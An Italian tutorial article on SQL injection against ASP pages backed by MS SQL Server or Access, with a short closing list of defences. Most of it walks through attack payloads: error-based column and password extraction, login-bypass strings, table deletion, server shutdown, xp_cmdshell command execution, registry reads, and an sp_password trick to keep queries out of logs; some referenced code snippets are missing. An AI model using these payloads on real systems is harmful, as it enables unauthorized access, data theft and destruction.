SQL Injection: cos’è, tecniche e come proteggersi

<< Le dita dell’hacker scorrono veloci sulla tastiera, il form di autenticazione web non è un problema. Non conosce username e password, non gli servono: pochi secondi, tre battute sulla tastiera e il sistema è completamente nelle sue mani. “Good Morning, Administrator!”, recita la nuova schermata. Non sono così sicuro che sarà una buona giornata per l’amministratore, pensa l’intruso fra sé. >>

Se pensate che una cosa simile possa accadere solo al cinema, vi ricrederete: questa scena viene girata ogni giorno decine, se non centinaia di volte, a causa di una delle tecniche di hacking del web più diffuse: la SQL injection. L’introduzione romanzata non esagera riguardo alla semplicità con cui un aggressore può oltrepassare i login messi a protezione delle nostre applicazioni web: è davvero questione di secondi.

Molti già conosceranno SQL (Structured Query Language), uno dei principali linguaggi usati per interagire con i database. Le pagine web dinamiche ASP e PHP (ma non solo) lo utilizzano con successo per memorizzare e manipolare le informazioni. L’insieme di dichiarazioni SQL inviate al database per ottenere una risposta si indica con il termine query (interrogazione). Le query possono modificare la struttura del database – ad esempio eliminando una tabella – oppure manipolarne il contenuto.

Un particolare dialetto utilizzato dal database Microsoft SQL Server è il Transact SQL. Per approfondire la conoscenza del linguaggio, uno dei più diffusi nelle pagine ASP (che sono maggiormente vulnerabili alla tecnica che stiamo per esporre), consultiamo la guida a T-SQL di HTML.it.

Ora possiamo capire con facilità a cosa si riferisce il nome dato alla tecnica: la SQL injection consiste nell’inserimento di query T-SQL e nella modifica di interrogazioni già esistenti nelle pagine dinamiche, così da far compiere all’applicazione un’azione del tutto imprevista.

Pensiamo all’esempio di un campo di autenticazione molto comune, come il login alla nostra webmail. Normalmente inseriamo username e password per poter leggere la posta elettronica. Lo script si collega al database, verifica le nostre autorizzazioni e ci consente l’accesso. Tutto questo tramite interrogazioni SQL. Ma cosa succede se un utente malizioso inserisce caratteri propri del linguaggio T-SQL (ad esempio l’apostrofo ‘, il doppio trattino —, il punto e virgola ;)? Con ogni probabilità, se la pagina ASP non prevede la validazione dell’input, l’aggressore può modificare la query a suo piacimento.

Naturalmente non basta una virgola per far cadere il sistema nelle mani dell’aggressore, ma è un buon punto di partenza. Modificando le query, come vedremo più avanti, è possibile avere accesso ad alcuni dati senza autorizzazione, eludere i sistemi di autenticazione e addirittura far eseguire veri e propri comandi al server web (ad esempio un listato delle directory, o una lettura del registro di Windows).

Anche se la vulnerabilità alla SQL injection è piuttosto diffusa, esistono molte applicazioni web ben programmate che saranno inattaccabili ai nostri tentativi di accesso (e, di conseguenza, a quelli di un hacker). Se utilizziamo pagine di login in ASP sul nostro sito web (o se le utilizzano script installati sul server) possiamo controllare la loro eventuale insicurezza con un metodo molto semplice.

Apriamo la pagina e inseriamo il carattere di apostrofo nel campo riservato al nome utente, quindi premiamo invio. A seconda della reazione ottenuta, sapremo se l’applicazione si presta o meno a manipolazioni. Se appare una scritta che ci avverte che username e/o password non sono validi, probabilmente la nostra avventura si conclude qui. Se al contrario appare un errore HTTP 500 (Errore interno del server) oppure una descrizione di errore ODBC (Tab. 2.1) possiamo immedesimarci per qualche minuto nell’hacker che trova una nuova “preda”.

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’ [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression ‘ID=”‘ AND PASSWORD=”‘. /scripts/login.asp, line 178

A quanto pare ci siamo imbattuti in uno script vulnerabile collegato a un database Access, che gentilmente ci indica anche la parte di codice ASP che genera l’errore. Per comodità di lettura, togliamo le virgolette aggiunte dal server nel messaggio e cerchiamo di evidenziare il nostro carattere di apostrofo:

Questo ci aiuta a fare ipotesi sul codice sorgente, che potrebbe includere un comando simile a questo:

Il nostro apostrofo è stato memorizzato nella variabile username, causando l’errore, dato che è stato interpretato come uno dei caratteri (apostrofi) usati nella dichiarazione. Il campo password invece è rimasto vuoto, visto che non l’abbiamo inserita.

Ottenere informazioni

Le informazioni che si possono ottenere iniettando i comandi SQL nella query sono infinite: prima di vedere come oltrepassare l’autenticazione, impariamo qualche trucco per estrapolare questi dati. Per poter manipolare al meglio i dati a disposizione, l’aggressore deve conoscere la struttura del database: nomi delle tabelle, delle colonne, tipi di dati contenuti. Ecco i metodi principali per trovare le informazioni che ci servono! Gli esempi si riferiscono a MS SQL Server, il comando va inserito per intero nel campo Username.

Obiettivo: Trovare il nome della tabella e della prima colonna Comando: ‘ having 0=0– Risultato: Column ‘members.UserID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Obiettivo: Trovare il nome della colonna successiva Comando: ‘ group by members.UserID having 0=0– Risultato: Column ‘members.Password’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Obiettivo: Estrarre i nomi di tutte le colonne successive Comando: ‘ group by members.UserID, members.Password having 0=0 — Risultato: Column ‘members.FirstName’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Il comando può essere ripetuto, continuando ad aggiungere i nomi appena trovati separati da virgola, fino a quando il server non mostrerà più alcun errore. In tal caso saremo sicuri di aver trovato tutti i nomi delle colonne, utilizzabili per inserire nuovi dati nel database.

Obiettivo: Scoprire se esiste un utente administrator Comando: ‘ union select min(UserID),1,1,1 from members where UserID > ‘a’– Risultato: Syntax error converting the varchar value ‘admin’ to a column of data type int.

Obiettivo: Trovare la password dell’utente admin Comando: ‘ union select Password,1,1,1 from members where UserID = ‘admin’– Risultato: Syntax error converting the varchar value ‘pippo80’ to a column of data type int.

Una volta trovata l’applicazione vulnerabile, per aggirare il login basta solitamente un solo comando. Supponiamo di avere uno script che verifica l’esistenza dell’username e della password. Se il valore restituito è TRUE, ci consente di proseguire, altrimenti ci rimanda a una pagina di errore. Dopo aver inserito i dati, l’interrogazione si presenta così:

Purtroppo la coppia di valori inseriti non ha un riscontro nel database, quindi non possiamo proseguire. Proviamo allora a inserire come password una stringa SQL, ad esempio la famigerata ‘ or 0=0– oppure test’ or 0=0– e vediamo cosa succede:

Notiamo che il primo apostrofo che abbiamo inserito viene considerato come la chiusura del campo Password, mentre il carattere di chiusura originale slitta dopo i nostri trattini. Il secondo esempio aiuta a capire meglio questo passaggio, evidenziando il contenuto del campo Password, che nel primo esempio è invece nullo. Tutto ciò che viene dopo i due trattini non è considerato da SQL, quindi il carattere di chiusura in più non provoca errori.

Grazie a questo semplice stratagemma riusciremo a eludere il controllo. L’interrogazione può essere tradotta come: << seleziona nella tabella members tutti i record che hanno roberto come UserID e password nulla (password test nel secondo caso) oppure in cui 0=0 >>. Dato che zero è sempre uguale a zero, l’intera stringa assume un valore TRUE e noi siamo riconosciuti come utenti autorizzati!

Comandi avanzati

Sebbene la stringa che abbiamo appena visto possa essere considerata il deus ex machina della SQL injection, esistono molti altri modi per manipolare il login e per eseguire comandi sul server. Vediamone alcuni.

Username: admin’ — Effetto: Autenticazione come utente admin

Username: ‘ OR “=’ Password: ‘ OR “=’ Effetto: Autenticazione senza credenziali

Username: ‘ ; drop table members– Effetto: Eliminazione della tabella di un database

Username: aaaaaaaaaaaaaaa’ Password: ‘ ; shutdown — Effetto: Chiusura del database

Username: ‘ ;EXEC master..xp_cmdshell ‘dir’;– Effetto: Esecuzione del comando dir per ottenere un listato delle directory

Username: ‘ ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,’percorso’,’chiave’– Effetto: Lettura di una chiave del registro di Windows

Username: ‘ or 0=0 –sp_password Effetto: Autenticazione come primo utente della tabella users. L’aggiunta di sp_password fa in modo che la stringa non venga visualizzata fra i log di SQL Server (vale per tutti i comandi).

Gli aggressori esterni saranno facilitati nel loro compito se il database supporta molti comandi speciali tramite le query SQL. Il database che si presta meglio alle tecniche di Avanced SQL injection è il Ms SQL Server, a causa del supporto dei comandi xp_cmdshell e simili, seguito da Postgree, DB2, Oracle e MySQL (generalmente il meno vulnerabile).

Ora che conosciamo il modus operandi di un hacker che vuole intrufolarsi nelle nostre applicazioni web, possiamo valutare le contromisure più adatte a fermarlo. Essere in grado di riconoscere autonomamente gli script a rischio è già un buon passo avanti; adesso vediamo in che modo prevenire gli attacchi.

• Validazione dell’input. Implementiamo delle procedure di validazione nei nostri script, prevediamo e blocchiamo ogni tipo di carattere pericoloso che può essere immesso. La validazione deve essere fatta rigorosamente lato server. I JavaScript sono praticamente inutili contro un hacker.
• Controllo delle informazioni. I dati che il nostro server web si lascia “scappare” sono importantissimi per un hacker; ne sono un esempio i messaggi di errore ODBC che, abbiamo visto, possono essere manipolati facilmente. Configuriamo IIS in modo da inviare un messaggio di errore generico invece che specifico.
• Ridurre i privilegi. Il servizio del server SQL non deve avere privilegi superiori, in modo da contrastare le tecniche di hacking che invece li richiedono.
• Aggiornare spesso. Molti punti vulnerabili alla SQL injection non sono così evidenti come nei casi che abbiamo visto finora. Per questo non abbiamo la possibilità di riconoscerli subito. Gli update degli script (forum, sistemi di gestione) risolvono questi problemi appena vengono trovati, quindi teniamoci aggiornati!

Per ulteriori approfondimenti sulle tecniche di injection e sulla protezione delle pagine dinamiche consultiamo i testi elencati di seguito:

– Chris Anley, “Advanced SQL injection in SQL Server applications”, 2002 – Marco Bonzanini, Proteggersi dalla SQL Injection in FreePhp.it, gennaio 2004 – Mike Schiffman, Scacco agli hacker, Milano, Apogeo 2002 – S. McClure, J.Scambray e G.Kurtz, Hacker! 4.0, Milano, Apogeo 2003